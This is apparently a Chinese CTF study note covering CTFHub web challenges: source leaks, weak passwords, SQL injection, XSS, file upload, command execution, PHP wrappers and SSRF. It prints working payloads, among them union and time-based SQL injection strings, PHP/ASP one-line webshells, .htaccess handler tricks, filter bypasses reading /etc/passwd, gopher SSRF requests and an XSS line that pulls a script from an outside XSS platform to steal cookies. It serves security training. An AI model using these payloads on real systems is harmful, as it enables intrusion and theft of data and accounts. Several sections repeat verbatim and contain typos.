一 .信息泄露
1.目录遍历
用python脚本遍历找到flag.php
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
url = "http://challenge-2610424eb38bef5b.sandbox.ctfhub.com:10800/flag_in_here/"
for i in range(5):
for j in range(5):
url_test =url+"/"+str(i)+"/"+str(j)
r = requests.get(url_test)
r.encoding = 'utf-8'
get_file=r.text
if "flag.txt" in get_file:
print(url_test)
2.phpinfo
PHP中提供了PHPInfo()函数,该函数返回 PHP 的所有信息,包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。其函数定义如下:
语法: int phpinfo(void);
返回值: 整数
函数种类: PHP 系统功能
例如新建一个php文件,在其中输入以下内容:
-
可以得到php版本信息 :
每个php版本都有变化和特性,像php5.3.4以下 + magic_quotes_gpc off 可%00截断.
-
网站路径:
当网站绝对路径泄漏时,如果能写webshell,则可以直接getshell;当日志文件路径泄露时,如果存在文件包含,则直接包含日志文件getshell
-
应用信息:
通过phpinfo可以查看到支持的特殊服务,例如:redis、fastcgi、memcache、ImageMagick等
如果存在redis、memcache等则可尝试未授权访问获取信息. -
网站ip
3.备份文件下载
(1)源码泄露: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露.1.直接御剑扫描得到文件目录;2.python脚本对常见文件名和后缀进行匹配
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D0itkVic-1658029226012)(C:\Users\SJJ\Desktop\新建文件夹 (2)]\批注 2022-07-14 153408.png)
(2)vim泄露: 当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn 。
用 dirsearch扫描出.swp文件python3 dirsearch.py -u url -e *
再用vim查看器查看要用Linux,或在windows下curl指令查看 https://www.cnblogs.com/deny/p/15778324.html,https://blog.csdn.net/mezheng/article/details/122211880(vim本质是二进制)
(3) .DS_Store 文件利用: .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。用 dirsearch扫描出/.DS_Store直接下载查看
4.git泄露
(1)git 结构:
.git目录:使用git init初始化git仓库的时候,生成的隐藏目录,git会将所有的文件,目录,提交等转化为git对象,压缩存储在这个文件夹当中。
COMMIT_EDITMSG:保存最新的commit message,Git系统不会用到这个文件,用户一个参考文件
config:Git仓库的配置文件
description:仓库的描述信息,主要给gitweb等git托管系统使用
HEAD:这个文件包含了一个档期分支(branch)的引用,通过这个文件Git可以得到下一次commit的parent
hooks:这个目录存放一些shell脚本,可以设置特定的git命令后触发相应的脚本;在搭建gitweb系统或其他
git托管系统会经常用到hook script(钩子脚本)
index:这个文件就是我们前面提到的暂存区(stage),是一个二进制文件
info:包含仓库的一些信息
logs:保存所有更新的引用记录
objects:所有的Git对象都会存放在这个目录中,对象的SHA1哈希值的前两位是文件夹名称,后38位作为对象文件名
refs:这个目录一般包括三个子文件夹,heads、remotes和tags,heads中的文件标识了项目中的各个分支指向的当前commit
ORIG_HEAD:HEAD指针的前一个状态
(2) git 常用命令:
git status 查看当前仓库状态和内存状态
git log 显示到HEAD所指向的commit为止的所有commit记录
git stash https://blog.csdn.net/qq_38425719/article/details/107792754
git diff 对比工作区和stage文件的差异
git diff -cached 对比stage和branch之间的差异
(3)ctfhub 利用
python3 dirsearch.py -u url -e *
扫描出.git说明泄露
python GitHack.py url/.git
得到源码,进入源码文件
git log
查看历史版本
git diff flag
对比flag的不同得到真正flag
5.svn泄露和hg泄露
(1)漏洞成因
在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
(2)ctfhub利用
dirsearch扫描发现有.svn或.hg文件说明有svn或hg泄露
再用 dvcs-ripper(建议Linux下使用) 恢复.svn ,进入dvcs-ripper执行
./rip-svn.pl -v -u url/.svn
或 ./rip-hg.pl -v -u url/.hg
由于.svn和.hg是隐藏文件用ls -a才能看到,再用tree .svn发现flag文件打开找到flag(用cd 打开挨个找也许)
二.密码口令
1.弱口令
burp抓包进行爆破
2.默认口令
公司管理的系统可能为了方便和便于管理都设置了默认的用户名和密码 网上查询便可
三.sql注入
MYSQL中存在一个information_schema库,其中包含schemata、tables、conlums表,通过获取这些表中信息达到获取敏感信息目的
information_schema.schemata 存储MYSQL中所有的库名
1.普通注入
判断注入
/?id = 1 and 1=1 /?id=1 and 2=1
判断几列
/?id=1 order by 3
暴库
?id=-1 union select 1,database()
爆表
/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='database()'
爆字段
/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
看字段数据
/?id=-1 union select 1,flag from sqli.flag
2.时间盲注
利用sleep()或benchmark()等函数让MySQL的执行时间变长。与IF(expr1,expr2,expr3),ascii()结合使用。当满足条件expr1时执行expr2,不满足时执行expr3。
暴库
/?id=1' and if(length(database())>1,sleep(5),1)
/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)
/?id=1" and if(ascii(substr(database(),1,1))<105,0,sleep(10))
3.报错盲注
不想写了 报错注入
4.布尔盲注
不想写了 布尔注入
5.cookie,ua,refer注入
burp抓包在相应地方注入即可
6.空格绕过
绕过对空格的过滤 < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS 等,例 127.0.0.1;cat<flag.php 其余操作一样
7.用sqlmap工具(非常好用)
快速学习利用sqlmap扫描检测sql注入漏洞,挖掘及攻击测试 -配置啦-研发运维人员必备网站 (config.net.cn)
四.xss
1.XSS分类
反射型XSS:反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
存储型XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
DOM型:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
2.XSS利用
流量劫持
获取用户cookie信息,盗取账号
篡改、删除页面信息(钓鱼)
配合CSRF攻击,实施进一步攻击
3.ctf反射型
(1)检测是否存在xss。admin输入代码:
“><script>alert(1)</script>(闭合input标签)
或 "><img src=0 οnerrοr=alert(1)>
可能有过滤可以用双拼写<scr
弹出1证明存在xss
(2)盗取cookie
借助 XSS Platform (xsscom.com) 创建项目在admin中输入
</textarea>'"><script src=http://xsscom.com//bosxln></script>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uqPHuadz-1658029226013)(C:\Users\SJJ\Desktop\新建文件夹 (2)]\批注 2022-07-15 111114.png)
然后复制url在user中输入点send,send相当于一个恶意链接用户点击后触发document.createElemend()等代码
xss平台接受数据
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wEdFp2GN-1658029226013)(C:\Users\SJJ\Desktop\新建文件夹 (2)]\批注 2022-07-15 112305.png)
五.文件上传
1.一句话木马
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话: <%eval request ("pass")%>
aspx的一句话: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
php木马解析
@ 符号的意思是不报错,即使执行错误,也不报错。
eval()把字符串作为PHP代码执行。
_POST是网页传参
原理:控制网页目录上传文件都会被当作代码执行
2.文件上传绕过
(1)前端验证:
更改后缀绕过burp抓包再改回去
(2)mime绕过:
文件上传时服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测 上传php用burp抓包把Content-Type内容改为image/jpg
(3)00截断:
限制:使用限制:php版本小于5.3.4;php.ini的magic_quotes_gpc为OFF状态。
原理:当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
1.php%00.txt
(4)双写后缀:
str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。
1.phphpp
(5)空格和点绕过:
原理:windows等系统默认删除文件后缀的.和空格。
1.空格php 1.php.
(6).hatccess绕过:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
限制:允许用户使用自定义.htaccess文件
<IfModule mime_module>
AddHandler php5-script .gif //在当前目录下,只针对gif文件会解析成Php代码执行
或
SetHandler application/x-httpd-php //在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php //当前目录下,如果匹配到1.jpg文件,则被解析成PHP代码执行
或
AddHandler php5-script .jpg //在当前目录下,如果匹配到1.jpg文件,则被解析成PHP代码执行
</FilesMatch>
上传.hatccess文件再上传木马文件
大佬总结[CTF].htaccess的使用技巧总结_Y4tacker的博客-CSDN博客_ctf htaccess
(7)文件头检查
没有其他过滤时直接把图片改成php文件记事本打开加入一句话木马上传即可
六.RCE
各种指令
cat 从第一行开始显示文本内容(适用于内容较少的)
Tac 从最后一行开始显示,是 cat 的逆顺序
More 一页一页的显示文本内容(适用于内容较多的)
less 与 more 类似,但是比 more 更好的是,它可以往前翻页
head 只看文本的前面几行
tail 只看文本的后面几行
nl 显示文本内容与行号
cd 打开指定目录文件
ls 根目录
ls -a 打开本目录的隐藏文件
ls / 打开上一级目录
pwd 指令可立刻得知目前所在的工作目录的绝对路径名称
1.各种过滤
(1) 无过滤
/?id=syeteam(‘ls’);
/?id=systeam(‘ls /’);
/?id=systeam(cd /flag); 记得最后加分号或#
(2)cat过滤
与cat类似命令More,less,head,tail;
(3)空格过滤
绕过对空格的过滤 < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS 等,例 127.0.0.1;cat<flag.php
(4) 过滤目录分隔符
127.0.0.1;cd flag_is_here;ls
进入子文件夹并查询
127.0.0.1;cd fla*_is_here;cat fla*_xxx.php
(5)过滤运算符
; => %0a或%0d或%0d%0a
(8)过滤了斜杠‘/’
可利用’;'拼接命令绕过
cd …;cd …;cd …;cd …;cd etc;cat passwd
2.文件包含 --php伪协议
(1) php://input:
原理:可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
文件包含漏洞的环境要求:
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
GET /?file=php://input
[POST] <?php system('cat /flag');?>
也可写入php木马
(2) php://filter
?file=php://filter/resource=/flag
?file=php://filter/read/convert.base64-encode/resource=/flag 解码方式读取
?file=php://filter/read/convert.base64-decode/resource=/flag 加密方式读取
?file=php://filter/write/convert.base64-encode/resource=/flag 解码方式写入
?file=php://filter/write/convert.base64-decode/resource=/flag 加密方式写入
探索php://filter在实战当中的奇技淫巧 - linuxsec - 博客园 (cnblogs.com)
七.SSRF
1.内网访问
(1)file协议
原理: include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()
函数所决定的。
dirsearch扫描目录
?file=file:///var/www/html/flag.php
查看服务器文件
?file=file://E:\User\..\..\1.php
执行本地1.php
2.Bypass
(1)@绕过
http://www.baidu.com@127.0.1.1
与http://127.0.0.1
请求是相同的
(2)ip绕过
某些ip会被过滤但如果以16进制或8进制传入绕过后会再自动改成32位的二进制数
百度IP 220.181.38.251 == 0xDCB526FB
(3)302跳转
url=localhost/flag.php
(4)dns
通过 rbndr.us dns rebinding service (cmpxchg8b.com) 重新绑定dns让一个域名在两个ip间随机绑定
3.post请求
使用gopher协议
构造post请求包
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=xxxx
因为网页和gopher都要解析所以编码两次,第一次url编码(%0A变成%0D%0A)。如果在302跳转页面抓包则要编码三次。
GET /?url=gopher://http://127.0.0.1:80/_编码内容
4.文件上传
查看flag和index内容
?url=file:///var/www/html/flag.php
提交文件时发现没有提交按钮自己补一个
<input type="submit" name="submit">
只允许内网访问127.0.0.1/flag.php
内提交文件抓包获取post请求包再通过gopher协议提交即可
gopher协议
构造post请求包
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=xxxx
因为网页和gopher都要解析所以编码两次,第一次url编码(%0A变成%0D%0A)。如果在302跳转页面抓包则要编码三次。
GET /?url=gopher://http://127.0.0.1:80/_编码内容
4.文件上传
查看flag和index内容
?url=file:///var/www/html/flag.php
提交文件时发现没有提交按钮自己补一个
<input type="submit" name="submit">
只允许内网访问127.0.0.1/flag.php
内提交文件抓包获取post请求包再通过gopher协议提交即可